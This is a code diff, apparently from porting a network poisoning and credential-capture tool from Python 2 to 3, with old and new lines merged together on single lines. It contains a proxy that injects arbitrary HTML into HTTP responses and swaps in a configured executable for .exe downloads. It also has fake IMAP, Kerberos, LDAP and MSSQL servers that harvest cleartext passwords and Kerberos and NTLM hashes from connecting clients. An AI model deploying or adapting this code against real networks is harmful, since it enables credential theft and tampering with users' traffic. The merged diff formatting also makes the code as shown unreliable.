IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
@ -34,9 +39,9 @@ def InjectData(data, client, req_uri):
if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
if len(data.split('\r\n\r\n')) > 1: if len(data.split(b'\r\n\r\n')) > 1:
try: try:
Headers, Content = data.split('\r\n\r\n') Headers, Content = data.split(b'\r\n\r\n')
except: except:
return data return data
@ -44,30 +49,34 @@ def InjectData(data, client, req_uri):
if set(RedirectCodes) & set(Headers): if set(RedirectCodes) & set(Headers):
return data return data
if "content-encoding: gzip" in Headers.lower(): Len = b''.join(re.findall(b'(?<=Content-Length: )[^\r\n]*', Headers))
if b'content-encoding: gzip' in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
if "content-type: text/html" in Headers.lower(): if b'content-type: text/html' in Headers.lower():
if settings.Config.Serve_Html: # Serve the custom HTML if needed if settings.Config.Serve_Html: # Serve the custom HTML if needed
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE) HasBody = re.findall(b'(<body[^>]*>)', Content, re.IGNORECASE)
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'): if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) print(text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)))
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) Content = Content.replace(HasBody[0], b'%s\n%s' % (HasBody[0], settings.Config.HtmlToInject.encode('latin-1')))
if "content-encoding: gzip" in Headers.lower(): if b'content-encoding: gzip' in Headers.lower():
Content = zlib.compress(Content) Content = zlib.compress(Content)
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) Headers = Headers.replace(b'Content-Length: '+Len, b'Content-Length: '+ NetworkSendBufferPython2or3(len(Content)))
data = Headers +'\r\n\r\n'+ Content data = Headers +b'\r\n\r\n'+ Content
else: else:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response") print(text("[PROXY] Returning unmodified HTTP response"))
return data return data
class ProxySock: class ProxySock:
@ -99,14 +108,14 @@ class ProxySock:
# Replace the socket by a connection to the proxy # Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto) self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr) self.socket.connect(sockaddr)
except socket.error, msg: except socket.error as msg:
if self.socket: if self.socket:
self.socket.close() self.socket.close()
self.socket = None self.socket = None
continue continue
break break
if not self.socket : if not self.socket :
raise socket.error, msg raise socket.error(msg)
# Ask him to create a tunnel connection to the target host/port # Ask him to create a tunnel connection to the target host/port
self.socket.send( self.socket.send(
@ -121,7 +130,7 @@ class ProxySock:
# Not 200 ? # Not 200 ?
if parts[1] != "200": if parts[1] != "200":
print color("[!] Error response from upstream proxy: %s" % resp, 1) print(color("[!] Error response from upstream proxy: %s" % resp, 1))
pass pass
# Wrap all methods of inner socket, without any change # Wrap all methods of inner socket, without any change
@ -200,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
def handle(self): def handle(self):
(ip, port) = self.client_address (ip, port) = self.client_address
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Received connection from %s" % self.client_address[0]) print(text("[PROXY] Received connection from %s" % self.client_address[0]))
self.__base_handle() self.__base_handle()
def _connect_to(self, netloc, soc): def _connect_to(self, netloc, soc):
@ -210,7 +219,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
else: else:
host_port = netloc, 80 host_port = netloc, 80
try: soc.connect(host_port) try: soc.connect(host_port)
except socket.error, arg: except socket.error as arg:
try: msg = arg[1] try: msg = arg[1]
except: msg = arg except: msg = arg
self.send_error(404, msg) self.send_error(404, msg)
@ -271,14 +280,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
if self._connect_to(netloc, soc): if self._connect_to(netloc, soc):
soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) soc.send(NetworkSendBufferPython2or3("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)))
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
print text("[PROXY] Requested URL : %s" % color(self.path, 3)) print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print text("[PROXY] Cookie : %s" % Cookie) print(text("[PROXY] Cookie : %s" % Cookie))
self.headers['Connection'] = 'close' self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection'] del self.headers['Proxy-Connection']
@ -286,8 +295,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
del self.headers['Range'] del self.headers['Range']
for k, v in self.headers.items(): for k, v in self.headers.items():
soc.send("%s: %s\r\n" % (k.title(), v)) soc.send(NetworkSendBufferPython2or3("%s: %s\r\n" % (k.title(), v)))
soc.send("\r\n") soc.send(NetworkSendBufferPython2or3("\r\n"))
try: try:
self._read_write(soc, netloc) self._read_write(soc, netloc)
@ -325,13 +334,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try: try:
data = i.recv(4096) data = i.recv(4096)
if self.command == "POST" and settings.Config.Verbose: if self.command == b'POST' and settings.Config.Verbose:
print text("[PROXY] POST Data : %s" % data) print(text("[PROXY] POST Data : %s" % data))
except: except:
pass pass
if data: if data:
try: try:
out.send(data) out.send(data)
count = 0 count = 0
except: except:
pass pass

View file

@ -14,36 +14,35 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
from utils import * from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
class IMAP(BaseRequestHandler): class IMAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(IMAPGreeting())) self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[5:15] == b'CAPABILITY':
if data[5:15] == "CAPABILITY":
RequestTag = data[0:4] RequestTag = data[0:4]
self.request.send(str(IMAPCapability())) self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[5:10] == "LOGIN": if data[5:10] == b'LOGIN':
Credentials = data[10:].strip() Credentials = data[10:].strip().decode("latin-1").split('"')
SaveToDb({ SaveToDb({
'module': 'IMAP', 'module': 'IMAP',
'type': 'Cleartext', 'type': 'Cleartext',
'client': self.client_address[0], 'client': self.client_address[0],
'user': Credentials[0], 'user': Credentials[1],
'cleartext': Credentials[1], 'cleartext': Credentials[3],
'fullhash': Credentials[0]+":"+Credentials[1], 'fullhash': Credentials[1]+":"+Credentials[3],
}) })
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024)
except Exception: except Exception:
pass pass

View file

@ -14,56 +14,61 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler import codecs
from utils import *
import struct import struct
from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def ParseMSKerbv5TCP(Data): def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22] MsgType = Data[21:22]
EncType = Data[43:44] EncType = Data[43:44]
MessageType = Data[32:33] MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[50:51])[0] HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54: if HashLen == 54:
Hash = Data[53:105] Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0] NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen] Name = Data[154:154+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen] Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33": if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[45:46])[0] HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53: if HashLen == 53:
Hash = Data[48:99] Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0] NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen] Name = Data[148:148+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen] Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
elif HashLen == 54: elif HashLen == 54:
Hash = Data[53:105] Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0] NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen] Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
else: else:
Hash = Data[48:100] Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0] NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen] Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
return False return False
@ -71,40 +76,41 @@ def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18] MsgType = Data[17:18]
EncType = Data[39:40] EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17": if MsgType == b'\x0a' and EncType == b'\x17':
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33": if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[41:42])[0] HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54: if HashLen == 54:
Hash = Data[44:96] Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0] NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen] Name = Data[145:145+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen] Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
elif HashLen == 53: elif HashLen == 53:
Hash = Data[44:95] Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0] NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen] Name = Data[144:144+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen] Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
else: else:
Hash = Data[49:101] Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0] NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen] Name = Data[150:150+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen] Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
return False return False
class KerbTCP(BaseRequestHandler): class KerbTCP(BaseRequestHandler):
def handle(self): def handle(self):
try:
data = self.request.recv(1024) data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data) KerbHash = ParseMSKerbv5TCP(data)
@ -119,10 +125,12 @@ class KerbTCP(BaseRequestHandler):
'hash': h, 'hash': h,
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except:
pass
class KerbUDP(BaseRequestHandler): class KerbUDP(BaseRequestHandler):
def handle(self): def handle(self):
try:
data, soc = self.request data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data) KerbHash = ParseMSKerbv5UDP(data)
@ -137,3 +145,5 @@ class KerbUDP(BaseRequestHandler):
'hash': h, 'hash': h,
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except:
pass

View file

@ -14,37 +14,44 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import * from utils import *
import struct import struct
import codecs
def ParseSearch(data): def ParseSearch(data):
if re.search(r'(objectClass)', data): if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0] LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0] NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0] NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24: if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
@ -56,37 +63,37 @@ def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
}) })
if NthashLen > 60: if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'NTLMv2', 'type': 'NTLMv2-SSP',
'client': client, 'client': client,
'user': Domain+'\\'+Username, 'user': Domain+'\\'+Username,
'hash': SMBHash, 'hash': SMBHash,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
if LMhashLen < 2 and settings.Config.Verbose: if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication") print(text("[LDAP] Ignoring anonymous NTLM authentication"))
def ParseNTLM(data,client, Challenge): def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data): if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge) NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9].decode('latin-1'),NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
NTLMChall.calculate() NTLMChall.calculate()
return str(NTLMChall) return NTLMChall
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data): elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data, client, Challenge) ParseLDAPHash(data, client, Challenge)
def ParseLDAPPacket(data, client, Challenge): def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84': if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0] PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0] MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10] Operation = data[9:10]
@ -94,14 +101,14 @@ def ParseLDAPPacket(data, client, Challenge):
OperationHeadLen = struct.unpack('>i',data[11:15])[0] OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0] LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60": if Operation == b'\x60':
UserDomainLen = struct.unpack('<b',data[19:20])[0] UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen] UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1] AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == "\x80": if AuthHeaderType == b'\x80':
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0] PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen] Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'Cleartext', 'type': 'Cleartext',
@ -111,24 +118,24 @@ def ParseLDAPPacket(data, client, Challenge):
'fullhash': UserDomain+':'+Password, 'fullhash': UserDomain+':'+Password,
}) })
if sasl == "\xA3": if sasl == b'\xA3':
Buffer = ParseNTLM(data,client, Challenge) Buffer = ParseNTLM(data,client, Challenge)
return Buffer return Buffer
elif Operation == "\x63": elif Operation == b'\x63':
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
return Buffer return Buffer
elif settings.Config.Verbose: elif settings.Config.Verbose:
print text('[LDAP] Operation not supported') print(text('[LDAP] Operation not supported'))
if data[5:6] == '\x60': if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0] UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen] UserString = data[12:12+UserLen].decode('latin-1')
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0] PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen] PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose: if settings.Config.Verbose:
print text('[LDAP] Attempting to parse an old simple Bind request.') print(text('[LDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'Cleartext', 'type': 'Cleartext',
@ -147,7 +154,7 @@ class LDAP(BaseRequestHandler):
for x in range(5): for x in range(5):
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge) Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer: if Buffer:
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(8092) data = self.request.recv(8092)
except: except:
pass pass

View file

@ -14,11 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import random import random
import struct import struct
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
class TDS_Login_Packet: class TDS_Login_Packet:
def __init__(self, data): def __init__(self, data):
@ -41,7 +46,7 @@ class TDS_Login_Packet:
LocaleLen = struct.unpack('<h', data[74:76])[0] LocaleLen = struct.unpack('<h', data[74:76])[0]
DatabaseNameOff = struct.unpack('<h', data[76:78])[0] DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
DatabaseNameLen = struct.unpack('<h', data[78:80])[0] DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
data = NetworkRecvBufferPython2or3(data)
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '') self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '') self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '') self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
@ -52,28 +57,26 @@ class TDS_Login_Packet:
